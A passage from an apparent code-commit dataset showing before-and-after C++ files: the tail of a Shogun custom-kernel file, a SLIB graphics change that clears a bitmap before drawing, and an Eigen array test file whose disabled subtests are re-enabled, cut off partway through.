*\/\n\tnum_lhs=kmatrix.num_rows;\n}\n\nvoid CCustomKernel::remove_col_subset()\n{\n\tset_col_subset(NULL);\n\n\t\/* restore num_rhs *\/\n\tnum_rhs=kmatrix.num_cols;\n}\n\nvoid CCustomKernel::print_kernel_matrix(const char* prefix) const\n{\n\tindex_t num_rows=m_row_subset ? m_row_subset->get_size() : kmatrix.num_rows;\n\tindex_t num_cols=m_col_subset ? m_col_subset->get_size() : kmatrix.num_cols;\n\tfor (index_t i=0; i<num_rows; ++i)\n\t{\n\t\tfor (index_t j=0; j<num_cols; ++j)\n\t\t{\n\t\t\tindex_t real_i=row_subset_idx_conversion(i);\n\t\t\tindex_t real_j=col_subset_idx_conversion(j);\n\t\t\tSG_PRINT(\"%s%4.2f\", kmatrix.matrix[kmatrix.num_rows*real_j+real_i],\n\t\t\t\t\tprefix);\n\t\t\tif (j<num_cols-1)\n\t\t\t\tSG_PRINT(\", \\t\");\n\t\t}\n\t\tSG_PRINT(\"\\n\");\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2008-2018 SLIBIO <https:\/\/github.com\/SLIBIO>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"slib\/graphics\/drawable.h\"\n\n#include \"slib\/graphics\/image.h\"\n#include \"slib\/graphics\/platform.h\"\n\n#include \"slib\/core\/file.h\"\n#include \"slib\/core\/asset.h\"\n\nnamespace slib\n{\n\t\n\tRef<Bitmap> Drawable::toBitmap()\n\t{\n\t\tif (isBitmap()) {\n\t\t\treturn (Bitmap*)this;\n\t\t}\n\t\tsl_int32 width = (sl_int32)(getDrawableWidth());\n\t\tsl_int32 height = (sl_int32)(getDrawableHeight());\n\t\tif (width > 0 && height > 0) {\n\t\t\tRef<Bitmap> bitmap = Bitmap::create(width, height);\n\t\t\tif (bitmap.isNotNull()) {\n\t\t\t\tRef<Canvas> canvas = bitmap->getCanvas();\n\t\t\t\tif (canvas.isNotNull()) {\n\t\t\t\t\tcanvas->draw(Rectangle(0, 0, (sl_real)width, (sl_real)height), this);\n\t\t\t\t}\n\t\t\t\treturn bitmap;\n\t\t\t}\n\t\t}\n\t\treturn sl_null;\n\t}\n\t\n\tRef<Image> Drawable::toImage()\n\t{\n\t\tif (isImage()) {\n\t\t\treturn (Image*)this;\n\t\t}\n\t\tRef<Bitmap> bitmap = toBitmap();\n\t\tif (bitmap.isNotNull()) {\n\t\t\treturn Image::create(bitmap);\n\t\t}\n\t\treturn sl_null;\n\t}\n\n\tRef<Drawable> PlatformDrawable::create(const Ref<Image>& image)\n\t{\n\t\tif (image.isNotNull()) {\n\t\t\tImageDesc desc;\n\t\t\timage->getDesc(desc);\n\t\t\treturn PlatformDrawable::create(desc);\n\t\t}\n\t\treturn sl_null;\n\t}\n\t\n\tRef<Drawable> PlatformDrawable::loadFromMemory(const Memory& mem)\n\t{\n\t\tif (mem.isNotNull()) {\n\t\t\treturn PlatformDrawable::loadFromMemory(mem.getData(), mem.getSize());\n\t\t}\n\t\treturn sl_null;\n\t}\n\t\n\t\n\tRef<Drawable> PlatformDrawable::loadFromFile(const String& filePath)\n\t{\n\t\tMemory mem = File::readAllBytes(filePath);\n\t\tif (mem.isNotNull()) {\n\t\t\treturn PlatformDrawable::loadFromMemory(mem);\n\t\t}\n\t\treturn sl_null;\n\t}\n\t\n\tRef<Drawable> PlatformDrawable::loadFromAsset(const String& path)\n\t{\n\t\tMemory mem = Assets::readAllBytes(path);\n\t\tif (mem.isNotNull()) {\n\t\t\treturn PlatformDrawable::loadFromMemory(mem);\n\t\t}\n#if defined(SLIB_PLATFORM_IS_APPLE)\n\t\tCGImageRef image = GraphicsPlatform::loadCGImageFromApp(path);\n\t\tif (image) {\n\t\t\tRef<Drawable> ret = GraphicsPlatform::createImageDrawable(image);\n\t\t\tCGImageRelease(image);\n\t\t\treturn ret;\n\t\t}\n#endif\n\t\treturn sl_null;\n\t}\n\n}\n<commit_msg>graphics: minor fix on conversion from drawable to bitmap<commit_after>\/*\n * Copyright (c) 2008-2018 SLIBIO <https:\/\/github.com\/SLIBIO>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"slib\/graphics\/drawable.h\"\n\n#include \"slib\/graphics\/image.h\"\n#include \"slib\/graphics\/platform.h\"\n\n#include \"slib\/core\/file.h\"\n#include \"slib\/core\/asset.h\"\n\nnamespace slib\n{\n\t\n\tRef<Bitmap> Drawable::toBitmap()\n\t{\n\t\tif (isBitmap()) {\n\t\t\treturn (Bitmap*)this;\n\t\t}\n\t\tsl_int32 width = (sl_int32)(getDrawableWidth());\n\t\tsl_int32 height = (sl_int32)(getDrawableHeight());\n\t\tif (width > 0 && height > 0) {\n\t\t\tRef<Bitmap> bitmap = Bitmap::create(width, height);\n\t\t\tif (bitmap.isNotNull()) {\n\t\t\t\tbitmap->resetPixels(Color::None);\n\t\t\t\tRef<Canvas> canvas = bitmap->getCanvas();\n\t\t\t\tif (canvas.isNotNull()) {\n\t\t\t\t\tcanvas->draw(Rectangle(0, 0, (sl_real)width, (sl_real)height), this);\n\t\t\t\t}\n\t\t\t\treturn bitmap;\n\t\t\t}\n\t\t}\n\t\treturn sl_null;\n\t}\n\t\n\tRef<Image> Drawable::toImage()\n\t{\n\t\tif (isImage()) {\n\t\t\treturn (Image*)this;\n\t\t}\n\t\tRef<Bitmap> bitmap = toBitmap();\n\t\tif (bitmap.isNotNull()) {\n\t\t\treturn Image::create(bitmap);\n\t\t}\n\t\treturn sl_null;\n\t}\n\n\tRef<Drawable> PlatformDrawable::create(const Ref<Image>& image)\n\t{\n\t\tif (image.isNotNull()) {\n\t\t\tImageDesc desc;\n\t\t\timage->getDesc(desc);\n\t\t\treturn PlatformDrawable::create(desc);\n\t\t}\n\t\treturn sl_null;\n\t}\n\t\n\tRef<Drawable> PlatformDrawable::loadFromMemory(const Memory& mem)\n\t{\n\t\tif (mem.isNotNull()) {\n\t\t\treturn PlatformDrawable::loadFromMemory(mem.getData(), mem.getSize());\n\t\t}\n\t\treturn sl_null;\n\t}\n\t\n\t\n\tRef<Drawable> PlatformDrawable::loadFromFile(const String& filePath)\n\t{\n\t\tMemory mem = File::readAllBytes(filePath);\n\t\tif (mem.isNotNull()) {\n\t\t\treturn PlatformDrawable::loadFromMemory(mem);\n\t\t}\n\t\treturn sl_null;\n\t}\n\t\n\tRef<Drawable> PlatformDrawable::loadFromAsset(const String& path)\n\t{\n\t\tMemory mem = Assets::readAllBytes(path);\n\t\tif (mem.isNotNull()) {\n\t\t\treturn PlatformDrawable::loadFromMemory(mem);\n\t\t}\n#if defined(SLIB_PLATFORM_IS_APPLE)\n\t\tCGImageRef image = GraphicsPlatform::loadCGImageFromApp(path);\n\t\tif (image) {\n\t\t\tRef<Drawable> ret = GraphicsPlatform::createImageDrawable(image);\n\t\t\tCGImageRelease(image);\n\t\t\treturn ret;\n\t\t}\n#endif\n\t\treturn sl_null;\n\t}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra.\n\/\/\n\/\/ Copyright (C) 2008-2009 Gael Guennebaud <gael.guennebaud@inria.fr>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n\ntemplate<typename ArrayType> void array(const ArrayType& m)\n{\n typedef typename ArrayType::Index Index;\n typedef typename ArrayType::Scalar Scalar;\n typedef typename NumTraits<Scalar>::Real RealScalar;\n typedef Array<Scalar, ArrayType::RowsAtCompileTime, 1> ColVectorType;\n typedef Array<Scalar, 1, ArrayType::ColsAtCompileTime> RowVectorType;\n\n Index rows = m.rows();\n Index cols = m.cols(); \n\n ArrayType m1 = ArrayType::Random(rows, cols),\n m2 = ArrayType::Random(rows, cols),\n m3(rows, cols);\n\n ColVectorType cv1 = ColVectorType::Random(rows);\n RowVectorType rv1 = RowVectorType::Random(cols);\n\n Scalar s1 = internal::random<Scalar>(),\n s2 = internal::random<Scalar>(); \n\n \/\/ scalar addition\n VERIFY_IS_APPROX(m1 + s1, s1 + m1);\n VERIFY_IS_APPROX(m1 + s1, ArrayType::Constant(rows,cols,s1) + m1);\n VERIFY_IS_APPROX(s1 - m1, (-m1)+s1 );\n VERIFY_IS_APPROX(m1 - s1, m1 - ArrayType::Constant(rows,cols,s1));\n VERIFY_IS_APPROX(s1 - m1, ArrayType::Constant(rows,cols,s1) - m1);\n VERIFY_IS_APPROX((m1*Scalar(2)) - s2, (m1+m1) - ArrayType::Constant(rows,cols,s2) );\n m3 = m1;\n m3 += s2;\n VERIFY_IS_APPROX(m3, m1 + s2);\n m3 = m1;\n m3 -= s1;\n VERIFY_IS_APPROX(m3, m1 - s1); \n \n \/\/ scalar operators via Maps\n m3 = m1;\n ArrayType::Map(m1.data(), m1.rows(), m1.cols()) -= ArrayType::Map(m2.data(), m2.rows(), m2.cols());\n VERIFY_IS_APPROX(m1, m3 - m2);\n \n m3 = m1;\n ArrayType::Map(m1.data(), m1.rows(), m1.cols()) += ArrayType::Map(m2.data(), m2.rows(), m2.cols());\n VERIFY_IS_APPROX(m1, m3 + m2);\n \n m3 = m1;\n ArrayType::Map(m1.data(), m1.rows(), m1.cols()) *= ArrayType::Map(m2.data(), m2.rows(), m2.cols());\n VERIFY_IS_APPROX(m1, m3 * m2);\n \n m3 = m1;\n m2 = ArrayType::Random(rows,cols);\n m2 = (m2==0).select(1,m2);\n ArrayType::Map(m1.data(), m1.rows(), m1.cols()) \/= ArrayType::Map(m2.data(), m2.rows(), m2.cols()); \n VERIFY_IS_APPROX(m1, m3 \/ m2);\n\n \/\/ reductions\n VERIFY_IS_APPROX(m1.colwise().sum().sum(), m1.sum());\n VERIFY_IS_APPROX(m1.rowwise().sum().sum(), m1.sum());\n if (!internal::isApprox(m1.sum(), (m1+m2).sum(), test_precision<Scalar>()))\n VERIFY_IS_NOT_APPROX(((m1+m2).rowwise().sum()).sum(), m1.sum());\n VERIFY_IS_APPROX(m1.colwise().sum(), m1.colwise().redux(internal::scalar_sum_op<Scalar>()));\n\n \/\/ vector-wise ops\n m3 = m1;\n VERIFY_IS_APPROX(m3.colwise() += cv1, m1.colwise() + cv1);\n m3 = m1;\n VERIFY_IS_APPROX(m3.colwise() -= cv1, m1.colwise() - cv1);\n m3 = m1;\n VERIFY_IS_APPROX(m3.rowwise() += rv1, m1.rowwise() + rv1);\n m3 = m1;\n VERIFY_IS_APPROX(m3.rowwise() -= rv1, m1.rowwise() - rv1);\n}\n\ntemplate<typename ArrayType> void comparisons(const ArrayType& m)\n{\n typedef typename ArrayType::Index Index;\n typedef typename ArrayType::Scalar Scalar;\n typedef typename NumTraits<Scalar>::Real RealScalar;\n typedef Array<Scalar, ArrayType::RowsAtCompileTime, 1> VectorType;\n\n Index rows = m.rows();\n Index cols = m.cols();\n\n Index r = internal::random<Index>(0, rows-1),\n c = internal::random<Index>(0, cols-1);\n\n ArrayType m1 = ArrayType::Random(rows, cols),\n m2 = ArrayType::Random(rows, cols),\n m3(rows, cols); \n\n VERIFY(((m1 + Scalar(1)) > m1).all());\n VERIFY(((m1 - Scalar(1)) < m1).all());\n if (rows*cols>1)\n {\n m3 = m1;\n m3(r,c) += 1;\n VERIFY(! (m1 < m3).all() );\n VERIFY(! (m1 > m3).all() );\n }\n\n \/\/ comparisons to scalar\n VERIFY( (m1 != (m1(r,c)+1) ).any() );\n VERIFY( (m1 > (m1(r,c)-1) ).any() );\n VERIFY( (m1 < (m1(r,c)+1) ).any() );\n VERIFY( (m1 == m1(r,c) ).any() );\n\n \/\/ test Select\n VERIFY_IS_APPROX( (m1<m2).select(m1,m2), m1.cwiseMin(m2) );\n VERIFY_IS_APPROX( (m1>m2).select(m1,m2), m1.cwiseMax(m2) );\n Scalar mid = (m1.cwiseAbs().minCoeff() + m1.cwiseAbs().maxCoeff())\/Scalar(2);\n for (int j=0; j<cols; ++j)\n for (int i=0; i<rows; ++i)\n m3(i,j) = internal::abs(m1(i,j))<mid ? 0 : m1(i,j);\n VERIFY_IS_APPROX( (m1.abs()<ArrayType::Constant(rows,cols,mid))\n .select(ArrayType::Zero(rows,cols),m1), m3);\n \/\/ shorter versions:\n VERIFY_IS_APPROX( (m1.abs()<ArrayType::Constant(rows,cols,mid))\n .select(0,m1), m3);\n VERIFY_IS_APPROX( (m1.abs()>=ArrayType::Constant(rows,cols,mid))\n .select(m1,0), m3);\n \/\/ even shorter version:\n VERIFY_IS_APPROX( (m1.abs()<mid).select(0,m1), m3);\n\n \/\/ count\n VERIFY(((m1.abs()+1)>RealScalar(0.1)).count() == rows*cols);\n\n typedef Array<typename ArrayType::Index, Dynamic, 1> ArrayOfIndices;\n\n \/\/ TODO allows colwise\/rowwise for array\n VERIFY_IS_APPROX(((m1.abs()+1)>RealScalar(0.1)).colwise().count(), ArrayOfIndices::Constant(cols,rows).transpose());\n VERIFY_IS_APPROX(((m1.abs()+1)>RealScalar(0.1)).rowwise().count(), ArrayOfIndices::Constant(rows, cols));\n}\n\ntemplate<typename ArrayType> void array_real(const ArrayType& m)\n{\n typedef typename ArrayType::Index Index;\n typedef typename ArrayType::Scalar Scalar;\n typedef typename NumTraits<Scalar>::Real RealScalar;\n\n Index rows = m.rows();\n Index cols = m.cols();\n\n ArrayType m1 = ArrayType::Random(rows, cols),\n m2 = ArrayType::Random(rows, cols),\n m3(rows, cols);\n\n VERIFY_IS_APPROX(m1.sin(), std::sin(m1));\n VERIFY_IS_APPROX(m1.sin(), internal::sin(m1));\n VERIFY_IS_APPROX(m1.cos(), std::cos(m1));\n VERIFY_IS_APPROX(m1.cos(), internal::cos(m1));\n\n VERIFY_IS_APPROX(internal::cos(m1+RealScalar(3)*m2), internal::cos((m1+RealScalar(3)*m2).eval()));\n VERIFY_IS_APPROX(std::cos(m1+RealScalar(3)*m2), std::cos((m1+RealScalar(3)*m2).eval()));\n\n VERIFY_IS_APPROX(m1.abs().sqrt(), std::sqrt(std::abs(m1)));\n VERIFY_IS_APPROX(m1.abs().sqrt(), internal::sqrt(internal::abs(m1)));\n VERIFY_IS_APPROX(m1.abs(), internal::sqrt(internal::abs2(m1)));\n\n VERIFY_IS_APPROX(internal::abs2(internal::real(m1)) + internal::abs2(internal::imag(m1)), internal::abs2(m1));\n VERIFY_IS_APPROX(internal::abs2(std::real(m1)) + internal::abs2(std::imag(m1)), internal::abs2(m1));\n if(!NumTraits<Scalar>::IsComplex)\n VERIFY_IS_APPROX(internal::real(m1), m1);\n\n VERIFY_IS_APPROX(m1.abs().log(), std::log(std::abs(m1)));\n VERIFY_IS_APPROX(m1.abs().log(), internal::log(internal::abs(m1)));\n\n VERIFY_IS_APPROX(m1.exp(), std::exp(m1));\n VERIFY_IS_APPROX(m1.exp() * m2.exp(), std::exp(m1+m2));\n VERIFY_IS_APPROX(m1.exp(), internal::exp(m1));\n VERIFY_IS_APPROX(m1.exp() \/ m2.exp(), std::exp(m1-m2));\n\n VERIFY_IS_APPROX(m1.pow(2), m1.square());\n VERIFY_IS_APPROX(std::pow(m1,2), m1.square());\n m3 = m1.abs();\n VERIFY_IS_APPROX(m3.pow(RealScalar(0.5)), m3.sqrt());\n VERIFY_IS_APPROX(std::pow(m3,RealScalar(0.5)), m3.sqrt());\n}\n\nvoid test_array()\n{\n for(int i = 0; i < g_repeat; i++) {\n CALL_SUBTEST_1( array(Array<float, 1, 1>()) );\n \/\/CALL_SUBTEST_2( array(Array22f()) );\n \/\/CALL_SUBTEST_3( array(Array44d()) );\n \/\/CALL_SUBTEST_4( array(ArrayXXcf(3, 3)) );\n \/\/CALL_SUBTEST_5( array(ArrayXXf(8, 12)) );\n \/\/CALL_SUBTEST_6( array(ArrayXXi(8, 12)) );\n }\n for(int i = 0; i < g_repeat; i++) {\n CALL_SUBTEST_1( comparisons(Array<float, 1, 1>()) );\n \/\/CALL_SUBTEST_2( comparisons(Array22f()) );\n \/\/CALL_SUBTEST_3( comparisons(Array44d()) );\n \/\/CALL_SUBTEST_5( comparisons(ArrayXXf(8, 12)) );\n \/\/CALL_SUBTEST_6( comparisons(ArrayXXi(8, 12)) );\n }\n for(int i = 0; i < g_repeat; i++) {\n CALL_SUBTEST_1( array_real(Array<float, 1, 1>()) );\n \/\/CALL_SUBTEST_2( array_real(Array22f()) );\n \/\/CALL_SUBTEST_3( array_real(Array44d()) );\n \/\/CALL_SUBTEST_5( array_real(ArrayXXf(8, 12)) );\n }\n\n VERIFY((internal::is_same< internal::global_math_functions_filtering_base<int>::type, int >::value));\n VERIFY((internal::is_same< internal::global_math_functions_filtering_base<float>::type, float >::value));\n VERIFY((internal::is_same< internal::global_math_functions_filtering_base<Array2i>::type, ArrayBase<Array2i> >::value));\n typedef CwiseUnaryOp<internal::scalar_sum_op<double>, ArrayXd > Xpr;\n VERIFY((internal::is_same< internal::global_math_functions_filtering_base<Xpr>::type,\n ArrayBase<Xpr>\n >::value));\n}\n<commit_msg>Re-enabled the missing tests, again...<commit_after>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra.\n\/\/\n\/\/ Copyright (C) 2008-2009 Gael Guennebaud <gael.guennebaud@inria.fr>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n\ntemplate<typename ArrayType> void array(const ArrayType& m)\n{\n typedef typename ArrayType::Index Index;\n typedef typename ArrayType::Scalar Scalar;\n typedef typename NumTraits<Scalar>::Real RealScalar;\n typedef Array<Scalar, ArrayType::RowsAtCompileTime, 1> ColVectorType;\n typedef Array<Scalar, 1, ArrayType::ColsAtCompileTime> RowVectorType;\n\n Index rows = m.rows();\n Index cols = m.cols(); \n\n ArrayType m1 = ArrayType::Random(rows, cols),\n m2 = ArrayType::Random(rows, cols),\n m3(rows, cols);\n\n ColVectorType cv1 = ColVectorType::Random(rows);\n RowVectorType rv1 = RowVectorType::Random(cols);\n\n Scalar s1 = internal::random<Scalar>(),\n s2 = internal::random<Scalar>(); \n\n \/\/ scalar addition\n VERIFY_IS_APPROX(m1 + s1, s1 + m1);\n VERIFY_IS_APPROX(m1 + s1, ArrayType::Constant(rows,cols,s1) + m1);\n VERIFY_IS_APPROX(s1 - m1, (-m1)+s1 );\n VERIFY_IS_APPROX(m1 - s1, m1 - ArrayType::Constant(rows,cols,s1));\n VERIFY_IS_APPROX(s1 - m1, ArrayType::Constant(rows,cols,s1) - m1);\n VERIFY_IS_APPROX((m1*Scalar(2)) - s2, (m1+m1) - ArrayType::Constant(rows,cols,s2) );\n m3 = m1;\n m3 += s2;\n VERIFY_IS_APPROX(m3, m1 + s2);\n m3 = m1;\n m3 -= s1;\n VERIFY_IS_APPROX(m3, m1 - s1); \n \n \/\/ scalar operators via Maps\n m3 = m1;\n ArrayType::Map(m1.data(), m1.rows(), m1.cols()) -= ArrayType::Map(m2.data(), m2.rows(), m2.cols());\n VERIFY_IS_APPROX(m1, m3 - m2);\n \n m3 = m1;\n ArrayType::Map(m1.data(), m1.rows(), m1.cols()) += ArrayType::Map(m2.data(), m2.rows(), m2.cols());\n VERIFY_IS_APPROX(m1, m3 + m2);\n \n m3 = m1;\n ArrayType::Map(m1.data(), m1.rows(), m1.cols()) *= ArrayType::Map(m2.data(), m2.rows(), m2.cols());\n VERIFY_IS_APPROX(m1, m3 * m2);\n \n m3 = m1;\n m2 = ArrayType::Random(rows,cols);\n m2 = (m2==0).select(1,m2);\n ArrayType::Map(m1.data(), m1.rows(), m1.cols()) \/= ArrayType::Map(m2.data(), m2.rows(), m2.cols()); \n VERIFY_IS_APPROX(m1, m3 \/ m2);\n\n \/\/ reductions\n VERIFY_IS_APPROX(m1.colwise().sum().sum(), m1.sum());\n VERIFY_IS_APPROX(m1.rowwise().sum().sum(), m1.sum());\n if (!internal::isApprox(m1.sum(), (m1+m2).sum(), test_precision<Scalar>()))\n VERIFY_IS_NOT_APPROX(((m1+m2).rowwise().sum()).sum(), m1.sum());\n VERIFY_IS_APPROX(m1.colwise().sum(), m1.colwise().redux(internal::scalar_sum_op<Scalar>()));\n\n \/\/ vector-wise ops\n m3 = m1;\n VERIFY_IS_APPROX(m3.colwise() += cv1, m1.colwise() + cv1);\n m3 = m1;\n VERIFY_IS_APPROX(m3.colwise() -= cv1, m1.colwise() - cv1);\n m3 = m1;\n VERIFY_IS_APPROX(m3.rowwise() += rv1, m1.rowwise() + rv1);\n m3 = m1;\n VERIFY_IS_APPROX(m3.rowwise() -= rv1, m1.rowwise() - rv1);\n}\n\ntemplate<typename ArrayType> void comparisons(const ArrayType& m)\n{\n typedef typename ArrayType::Index Index;\n typedef typename ArrayType::Scalar Scalar;\n typedef typename NumTraits<Scalar>::Real RealScalar;\n typedef Array<Scalar, ArrayType::RowsAtCompileTime, 1> VectorType;\n\n Index rows = m.rows();\n Index cols = m.cols();\n\n Index r = internal::random<Index>(0, rows-1),\n c = internal::random<Index>(0, cols-1);\n\n ArrayType m1 = ArrayType::Random(rows, cols),\n m2 = ArrayType::Random(rows, cols),\n m3(rows, cols); \n\n VERIFY(((m1 + Scalar(1)) > m1).all());\n VERIFY(((m1 - Scalar(1)) < m1).all());\n if (rows*cols>1)\n {\n m3 = m1;\n m3(r,c) += 1;\n VERIFY(! (m1 < m3).all() );\n VERIFY(! (m1 > m3).all() );\n }\n\n \/\/ comparisons to scalar\n VERIFY( (m1 != (m1(r,c)+1) ).any() );\n VERIFY( (m1 > (m1(r,c)-1) ).any() );\n VERIFY( (m1 < (m1(r,c)+1) ).any() );\n VERIFY( (m1 == m1(r,c) ).any() );\n\n \/\/ test Select\n VERIFY_IS_APPROX( (m1<m2).select(m1,m2), m1.cwiseMin(m2) );\n VERIFY_IS_APPROX( (m1>m2).select(m1,m2), m1.cwiseMax(m2) );\n Scalar mid = (m1.cwiseAbs().minCoeff() + m1.cwiseAbs().maxCoeff())\/Scalar(2);\n for (int j=0; j<cols; ++j)\n for (int i=0; i<rows; ++i)\n m3(i,j) = internal::abs(m1(i,j))<mid ? 0 : m1(i,j);\n VERIFY_IS_APPROX( (m1.abs()<ArrayType::Constant(rows,cols,mid))\n .select(ArrayType::Zero(rows,cols),m1), m3);\n \/\/ shorter versions:\n VERIFY_IS_APPROX( (m1.abs()<ArrayType::Constant(rows,cols,mid))\n .select(0,m1), m3);\n VERIFY_IS_APPROX( (m1.abs()>=ArrayType::Constant(rows,cols,mid))\n .select(m1,0), m3);\n \/\/ even shorter version:\n VERIFY_IS_APPROX( (m1.abs()<mid).select(0,m1), m3);\n\n \/\/ count\n VERIFY(((m1.abs()+1)>RealScalar(0.1)).count() == rows*cols);\n\n typedef Array<typename ArrayType::Index, Dynamic, 1> ArrayOfIndices;\n\n \/\/ TODO allows colwise\/rowwise for array\n VERIFY_IS_APPROX(((m1.abs()+1)>RealScalar(0.1)).colwise().count(), ArrayOfIndices::Constant(cols,rows).transpose());\n VERIFY_IS_APPROX(((m1.abs()+1)>RealScalar(0.1)).rowwise().count(), ArrayOfIndices::Constant(rows, cols));\n}\n\ntemplate<typename ArrayType> void array_real(const ArrayType& m)\n{\n typedef typename ArrayType::Index Index;\n typedef typename ArrayType::Scalar Scalar;\n typedef typename NumTraits<Scalar>::Real RealScalar;\n\n Index rows = m.rows();\n Index cols = m.cols();\n\n ArrayType m1 = ArrayType::Random(rows, cols),\n m2 = ArrayType::Random(rows, cols),\n m3(rows, cols);\n\n VERIFY_IS_APPROX(m1.sin(), std::sin(m1));\n VERIFY_IS_APPROX(m1.sin(), internal::sin(m1));\n VERIFY_IS_APPROX(m1.cos(), std::cos(m1));\n VERIFY_IS_APPROX(m1.cos(), internal::cos(m1));\n\n VERIFY_IS_APPROX(internal::cos(m1+RealScalar(3)*m2), internal::cos((m1+RealScalar(3)*m2).eval()));\n VERIFY_IS_APPROX(std::cos(m1+RealScalar(3)*m2), std::cos((m1+RealScalar(3)*m2).eval()));\n\n VERIFY_IS_APPROX(m1.abs().sqrt(), std::sqrt(std::abs(m1)));\n VERIFY_IS_APPROX(m1.abs().sqrt(), internal::sqrt(internal::abs(m1)));\n VERIFY_IS_APPROX(m1.abs(), internal::sqrt(internal::abs2(m1)));\n\n VERIFY_IS_APPROX(internal::abs2(internal::real(m1)) + internal::abs2(internal::imag(m1)), internal::abs2(m1));\n VERIFY_IS_APPROX(internal::abs2(std::real(m1)) + internal::abs2(std::imag(m1)), internal::abs2(m1));\n if(!NumTraits<Scalar>::IsComplex)\n VERIFY_IS_APPROX(internal::real(m1), m1);\n\n VERIFY_IS_APPROX(m1.abs().log(), std::log(std::abs(m1)));\n VERIFY_IS_APPROX(m1.abs().log(), internal::log(internal::abs(m1)));\n\n VERIFY_IS_APPROX(m1.exp(), std::exp(m1));\n VERIFY_IS_APPROX(m1.exp() * m2.exp(), std::exp(m1+m2));\n VERIFY_IS_APPROX(m1.exp(), internal::exp(m1));\n VERIFY_IS_APPROX(m1.exp() \/ m2.exp(), std::exp(m1-m2));\n\n VERIFY_IS_APPROX(m1.pow(2), m1.square());\n VERIFY_IS_APPROX(std::pow(m1,2), m1.square());\n m3 = m1.abs();\n VERIFY_IS_APPROX(m3.pow(RealScalar(0.5)), m3.sqrt());\n VERIFY_IS_APPROX(std::pow(m3,RealScalar(0.5)), m3.sqrt());\n}\n\nvoid test_array()\n{\n for(int i = 0; i < g_repeat; i++) {\n CALL_SUBTEST_1( array(Array<float, 1, 1>()) );\n CALL_SUBTEST_2( array(Array22f()) );\n CALL_SUBTEST_3( array(Array44d()) );\n CALL_SUBTEST_4( array(ArrayXXcf(3, 3)) );\n CALL_SUBTEST_5( array(ArrayXXf(8, 12)) );\n CALL_SUBTEST_6( array(ArrayXXi(8, 12)) );\n }\n for(int i = 0; i < g_repeat; i++) {\n CALL_SUBTEST_1( comparisons(Array<float, 1, 1>()) );\n CALL_SUBTEST_2( comparisons(Array22f()) );\n CALL_SUBTEST_3( comparisons(Array44d()) );\n CALL_SUBTEST_5( comparisons(ArrayXXf(8, 12)) );\n CALL_SUBTEST_6( comparisons(ArrayXXi(8, 12)) );\n }\n for(int i = 0; i < g_repeat; i++) {\n CALL_SUBTEST_1( array_real(Array<float, 1, 1>()) );\n 